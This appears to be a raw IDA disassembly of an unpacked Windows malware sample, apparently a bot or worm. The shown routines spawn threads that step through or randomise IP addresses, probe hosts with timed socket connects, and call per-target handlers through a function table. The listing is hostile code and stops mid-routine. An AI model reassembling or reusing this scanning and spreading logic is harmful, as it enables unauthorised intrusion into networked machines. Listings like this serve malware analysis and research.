;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : C5D17B97D391AD892446E02F822952C5
; File Name : u:\work\c5d17b97d391ad892446e02f822952c5_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00092000 ( 598016.)
; Section size in file : 00092000 ( 598016.)
; Offset to raw data for section: 00001000
; Flags F0000020: Text Shareable Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp0 segment para public 'CODE' use32
assume cs:_nsp0
;org 401000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_406BAB+3249p
; DATA XREF: .nsp1:00493084o
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_419348
push eax
xor ebx, ebx
call sub_40B0B3
cmp dword_419068, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40106E
push esi
mov esi, offset dword_419070
loc_401033: ; CODE XREF: sub_401000+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD_0 ; " %s: %d,"
push eax
call sub_40B0B3
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_40AF90
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_401033
pop esi
loc_40106E: ; CODE XREF: sub_401000+2Bj
push dword_47F740
call sub_40A0F0
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_40B0B3
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_40AF90
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_200]
push eax
call sub_403145
add esp, 38h
pop edi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010CA proc near ; CODE XREF: sub_406BAB+2D5Bp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 7
call sub_40AC96
test eax, eax
pop ecx
jle short loc_401106
mov eax, [ebp+arg_C]
push dword_420A40[eax*8]
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset dword_41938C
push eax
call sub_40B0B3
add esp, 0Ch
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_401106: ; CODE XREF: sub_4010CA+13j
lea eax, [ebp+var_200]
push offset unk_41936C
push eax
call sub_40B0B3
pop ecx
pop ecx
loc_401119: ; CODE XREF: sub_4010CA+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404555
lea eax, [ebp+var_200]
push eax
call sub_403145
add esp, 18h
leave
retn
sub_4010CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401141 proc near ; CODE XREF: sub_401704+4Fp
var_20C = dword ptr -20Ch
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
jz loc_4013B5
imul eax, 3Ch
xor ebx, ebx
cmp dword_419074[eax], ebx
jz loc_4013B5
push 4
call sub_40AC96
test eax, eax
pop ecx
jnz loc_4013B5
mov eax, dword_41C0D8
push esi
push edi
mov edi, offset dword_421D1C
push 104h
push edi
push ebx
mov dword_421F2C, eax
mov dword_421F28, ebx
call dword_41704C ; GetModuleFileNameA
push 103h
mov esi, offset dword_421E20
push offset byte_41C1A0
push esi
call sub_40B110
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_421D18, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_421FB0, eax
jnz short loc_4011F1
lea eax, [ebp+arg_10]
push eax
push offset dword_421F30
call sub_40B110
mov dword_421FB4, 1
jmp short loc_401208
; ---------------------------------------------------------------------------
loc_4011F1: ; CODE XREF: sub_401141+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_421F30
call sub_40B110
mov dword_421FB4, ebx
loc_401208: ; CODE XREF: sub_401141+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_421F2C
push offset unk_419458
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40AA54
add esp, 20h
mov dword_421F24, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_421D18
push offset sub_40A573
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, dword_421F24
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz loc_401307
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_419420
push eax
call sub_40B0B3
add esp, 0Ch
loc_401287: ; CODE XREF: sub_401141+1CEj
lea eax, [ebp+var_204]
push eax
call sub_403145
mov edi, offset dword_421FC4
mov [esp+20Ch+var_20C], 104h
push edi
push ebx
mov dword_4221D0, ebx
call dword_41704C ; GetModuleFileNameA
push 103h
mov esi, offset dword_4220C8
push offset byte_41C1A0
push esi
call sub_40B110
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_421FC0, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_422258, eax
jnz short loc_401314
lea eax, [ebp+arg_10]
push eax
push offset dword_4221D8
call sub_40B110
mov dword_42225C, 1
jmp short loc_40132B
; ---------------------------------------------------------------------------
loc_4012FF: ; CODE XREF: sub_401141+1CCj
push 32h
call dword_417040 ; Sleep
loc_401307: ; CODE XREF: sub_401141+125j
cmp dword_421FB8, ebx
jz short loc_4012FF
jmp loc_401287
; ---------------------------------------------------------------------------
loc_401314: ; CODE XREF: sub_401141+1A2j
lea eax, [ebp+arg_90]
push eax
push offset dword_4221D8
call sub_40B110
mov dword_42225C, ebx
loc_40132B: ; CODE XREF: sub_401141+1BCj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_4221D4
push offset dword_4193E0
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40AA54
add esp, 20h
mov dword_4221CC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_421FC0
push offset sub_403E11
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, dword_4221CC
pop edi
imul ecx, 234h
cmp eax, ebx
pop esi
mov dword_42CF74[ecx], eax
jnz short loc_4013C0
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset dword_4193AC
push eax
call sub_40B0B3
add esp, 0Ch
loc_4013A8: ; CODE XREF: sub_401141+287j
lea eax, [ebp+var_204]
push eax
call sub_403145
pop ecx
loc_4013B5: ; CODE XREF: sub_401141+13j
; sub_401141+24j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4013B8: ; CODE XREF: sub_401141+285j
push 32h
call dword_417040 ; Sleep
loc_4013C0: ; CODE XREF: sub_401141+24Aj
cmp dword_422260, ebx
jz short loc_4013B8
jmp short loc_4013A8
sub_401141 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4013CA proc near ; CODE XREF: sub_40154B:loc_4015A7p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:420A40h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_40B210
add esp, 0Ch
push [ebp+arg_0]
call dword_42B31C ; htonl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_42B3D0 ; htonl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_40B210
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_4013CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401412 proc near ; CODE XREF: sub_40154B+54p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_40B5B0
cmp eax, 0Fh
pop ecx
jbe short loc_40143A
xor eax, eax
jmp short loc_4014AB
; ---------------------------------------------------------------------------
loc_40143A: ; CODE XREF: sub_401412+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_40B56D
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_401467
call sub_40B54F
mov [ebp+var_C], eax
loc_401467: ; CODE XREF: sub_401412+4Bj
cmp [ebp+var_8], esi
jnz short loc_401474
call sub_40B54F
mov [ebp+var_8], eax
loc_401474: ; CODE XREF: sub_401412+58j
cmp [ebp+var_4], esi
jnz short loc_401481
call sub_40B54F
mov [ebp+var_4], eax
loc_401481: ; CODE XREF: sub_401412+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40148D
call sub_40B54F
loc_40148D: ; CODE XREF: sub_401412+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_420A40[ecx*8], eax
loc_4014AB: ; CODE XREF: sub_401412+26j
pop esi
leave
retn
sub_401412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4014AE proc near ; CODE XREF: sub_40154B+7Ep
; sub_403CA3+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_42B450 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4014D7
xor eax, eax
jmp short loc_401546
; ---------------------------------------------------------------------------
loc_4014D7: ; CODE XREF: sub_4014AE+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_42B3D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_42B46C ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_42B380 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_42B3BC ; select
push esi
mov edi, eax
call dword_42B468 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_401546: ; CODE XREF: sub_4014AE+27j
pop edi
pop esi
pop ebx
leave
retn
sub_4014AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40154B proc near ; DATA XREF: sub_401704+13Bo
var_2C8 = byte ptr -2C8h
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_1F4 = byte ptr -1F4h
var_174 = byte ptr -174h
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_BC = byte ptr -0BCh
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2C8h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
mov esi, [ebp+var_28]
mov dword ptr [eax+148h], 1
mov [ebp+arg_0], esi
call dword_41705C ; GetTickCount
push eax
call sub_40B545
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_4016E1
; ---------------------------------------------------------------------------
loc_401591: ; CODE XREF: sub_40154B+1A4j
cmp [ebp+var_C], 0
push eax
jz short loc_4015A7
lea eax, [ebp+var_14C]
push eax
call sub_401412
pop ecx
jmp short loc_4015AC
; ---------------------------------------------------------------------------
loc_4015A7: ; CODE XREF: sub_40154B+4Bj
call sub_4013CA
loc_4015AC: ; CODE XREF: sub_40154B+5Aj
mov edi, eax
pop ecx
lea eax, [ebp+var_2C8]
push eax
lea eax, dword_42CD60[ebx]
push eax
call sub_40B0B3
push [ebp+var_34]
push [ebp+var_38]
push edi
call sub_4014AE
add esp, 14h
cmp eax, 1
jnz loc_4016D6
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_40162B
mov edi, offset dword_421D00
push edi
call dword_417058 ; RtlEnterCriticalSection
cmp [ebp+var_10], 0
jnz short loc_40161F
cmp [ebp+var_BC], 0
push 1
push [ebp+var_14]
lea eax, [ebp+var_2C8]
push eax
lea eax, [ebp+var_BC]
jnz short loc_401613
lea eax, [ebp+var_13C]
loc_401613: ; CODE XREF: sub_40154B+C0j
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_40161F: ; CODE XREF: sub_40154B+A5j
push edi
call dword_417054 ; RtlLeaveCriticalSection
jmp loc_4016D6
; ---------------------------------------------------------------------------
loc_40162B: ; CODE XREF: sub_40154B+93j
push edi
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_204]
push eax
call sub_40B0B3
mov eax, [ebp+var_1C]
imul eax, 3Ch
add eax, offset dword_419040
push eax
lea eax, [ebp+var_174]
push eax
call sub_40B0B3
add esp, 10h
cmp [ebp+var_BC], 0
lea eax, [ebp+var_BC]
jnz short loc_40166F
lea eax, [ebp+var_13C]
loc_40166F: ; CODE XREF: sub_40154B+11Cj
push eax
lea eax, [ebp+var_1F4]
push eax
call sub_40B0B3
mov eax, [ebp+var_3C]
pop ecx
mov [ebp+var_208], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_10]
mov [ebp+var_154], eax
mov eax, [ebp+var_38]
mov [ebp+var_168], eax
mov eax, [ebp+var_1C]
pop ecx
mov [ebp+var_160], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_164], esi
lea esi, [ebp+var_208]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_41906C[eax]
mov esi, [ebp+arg_0]
add esp, 0BCh
loc_4016D6: ; CODE XREF: sub_40154B+89j
; sub_40154B+DBj
push 7D0h
call dword_417040 ; Sleep
loc_4016E1: ; CODE XREF: sub_40154B+41j
mov eax, dword_42CF64[ebx]
cmp dword_420A44[eax*8], 0
jnz loc_401591
push esi
call sub_40AD6A
pop ecx
push 0
call dword_417050 ; ExitThread
sub_40154B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401704 proc near ; DATA XREF: sub_406BAB+1AB7o
; sub_406BAB+2B4Eo
var_24C = dword ptr -24Ch
var_20C = byte ptr -20Ch
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_42B410 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_420A40[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_401141
push 7
call sub_40AC96
add esp, 150h
cmp eax, ebx
jnz short loc_4017D2
mov esi, offset dword_421D00
push esi
call dword_417064 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_417060 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4017D2
lea eax, [ebp+var_20C]
push offset unk_41955C
push eax
call sub_40B0B3
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_4017BC
push ebx
lea eax, [ebp+var_20C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_4017BC: ; CODE XREF: sub_401704+99j
lea eax, [ebp+var_20C]
push eax
call sub_403145
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4017D2: ; CODE XREF: sub_401704+63j
; sub_401704+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_417040
mov edi, ebx
mov dword_420A44[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_401894
loc_4017F0: ; CODE XREF: sub_401704+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_20C]
push offset unk_419524
push eax
call sub_40B0B3
push ebx
lea eax, [ebp+var_20C]
push 7
push eax
call sub_40AA54
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_42CF64[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40154B
push ebx
push ebx
call dword_417048 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_42CF74[ecx], eax
jnz short loc_4018AB
call dword_417044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_20C]
push offset unk_4194E8
push eax
call sub_40B0B3
lea eax, [ebp+var_20C]
push eax
call sub_403145
add esp, 10h
loc_401886: ; CODE XREF: sub_401704+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4017F0
loc_401894: ; CODE XREF: sub_401704+E6j
cmp [ebp+var_30], ebx
jz short loc_4018B9
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_4018C6
; ---------------------------------------------------------------------------
loc_4018A7: ; CODE XREF: sub_401704+1AAj
push 1Eh
call esi ; Sleep
loc_4018AB: ; CODE XREF: sub_401704+159j
cmp [ebp+var_4], ebx
jz short loc_4018A7
jmp short loc_401886
; ---------------------------------------------------------------------------
loc_4018B2: ; CODE XREF: sub_401704+1C0j
push 7D0h
call esi ; Sleep
loc_4018B9: ; CODE XREF: sub_401704+193j
mov eax, [ebp+var_2C]
cmp dword_420A44[eax*8], 1
jz short loc_4018B2
loc_4018C6: ; CODE XREF: sub_401704+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_420A40[eax*8]
push eax
call dword_42B45C ; inet_ntoa
push eax
lea eax, [ebp+var_20C]
push offset unk_4194A8
push eax
call sub_40B0B3
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_401914
push ebx
lea eax, [ebp+var_20C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_404555
add esp, 14h
loc_401914: ; CODE XREF: sub_401704+1F1j
lea eax, [ebp+var_20C]
push eax
call sub_403145
mov eax, [ebp+var_2C]
mov [esp+24Ch+var_24C], 0BB8h
mov dword_420A44[eax*8], ebx
call esi ; Sleep
push 7
call sub_40AC96
cmp eax, 1
pop ecx
jnz short loc_40194B
push offset dword_421D00
call dword_417064 ; RtlDeleteCriticalSection
loc_40194B: ; CODE XREF: sub_401704+23Aj
push [ebp+var_2C]
call sub_40AD6A
pop ecx
push ebx
call dword_417050 ; ExitThread
sub_401704 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40195B proc near ; CODE XREF: sub_401BC7+Ep
; sub_401BC7+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40195B endp
; =============== S U B R O U T I N E =======================================
sub_401965 proc near ; CODE XREF: sub_401BC7+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_40B6BF
mov edi, eax
pop ecx
test edi, edi
jz short loc_401997
push ebx
push 0
push edi
call sub_40B630
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_40B210
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_401997: ; CODE XREF: sub_401965+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_401965 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40199F proc near ; CODE XREF: sub_401A91+18p
; sub_401B0B+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_40B6BF
mov esi, eax
pop ecx
test esi, esi
jz short loc_4019EB
push edi
push 0
push esi
call sub_40B630
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_40B210
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_40B210
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_4019EB: ; CODE XREF: sub_40199F+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40199F endp
; =============== S U B R O U T I N E =======================================
sub_4019F4 proc near ; CODE XREF: sub_401A91+5Ep
; sub_401A91+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_401A04
push eax
call sub_40B771
pop ecx
loc_401A04: ; CODE XREF: sub_4019F4+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_4019F4 endp
; =============== S U B R O U T I N E =======================================
sub_401A0D proc near ; CODE XREF: sub_401A91+20p
; sub_401B6C+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_401A37
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_40B6BF
mov edi, eax
pop ecx
test edi, edi
jnz short loc_401A3B
loc_401A37: ; CODE XREF: sub_401A0D+Dj
xor al, al
jmp short loc_401A8D
; ---------------------------------------------------------------------------
loc_401A3B: ; CODE XREF: sub_401A0D+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_40B630
add esp, 0Ch
cmp ebx, 1
jnz short loc_401A5B
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_401A70
; ---------------------------------------------------------------------------
loc_401A5B: ; CODE XREF: sub_401A0D+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_401A70: ; CODE XREF: sub_401A0D+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_40B210
add esp, 0Ch
push dword ptr [esi]
call sub_40B771
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_401A8D: ; CODE XREF: sub_401A0D+2Cj
pop edi
pop esi
pop ebx
retn
sub_401A0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A91 proc near ; CODE XREF: sub_401BC7+89p
; sub_401BC7+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_42226C
call sub_40199F
lea ecx, [ebp+var_8]
call sub_401A0D
mov eax, [ebp+var_4]
inc eax
push eax
call sub_40B6BF
mov edi, eax
pop ecx
test edi, edi
jnz short loc_401ACB
xor al, al
jmp short loc_401B07
; ---------------------------------------------------------------------------
loc_401ACB: ; CODE XREF: sub_401A91+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_40B630
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_40B210
add esp, 18h
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_4019F4
mov al, 1
loc_401B07: ; CODE XREF: sub_401A91+38j
pop edi
pop esi
leave
retn
sub_401A91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B0B proc near ; CODE XREF: sub_401B3F+14p
; sub_401B5C+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_40199F
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_401B0B endp
; =============== S U B R O U T I N E =======================================
sub_401B3F proc near ; CODE XREF: sub_401BC7+F0p
; sub_401BC7+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_40B5B0
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_401B0B
pop esi
retn 4
sub_401B3F endp
; =============== S U B R O U T I N E =======================================
sub_401B5C proc near ; CODE XREF: sub_401BA8+Bp
; sub_401BC7+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_401B0B
retn 8
sub_401B5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B6C proc near ; CODE XREF: sub_401BA8+16p
; sub_401BC7+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_401A0D
test al, al
jz short loc_401BA5
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_41990F+1)
call sub_40199F
mov ecx, esi
call sub_4019F4
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_401BA5: ; CODE XREF: sub_401B6C+Fj
pop esi
leave
retn
sub_401B6C endp
; =============== S U B R O U T I N E =======================================
sub_401BA8 proc near ; CODE XREF: sub_401BC7+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_401B5C
test al, al
jz short loc_401BC3
mov ecx, esi
call sub_401B6C
loc_401BC3: ; CODE XREF: sub_401BA8+12j
pop esi
retn 8
sub_401BA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BC7 proc near ; CODE XREF: sub_4023B8+88p
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
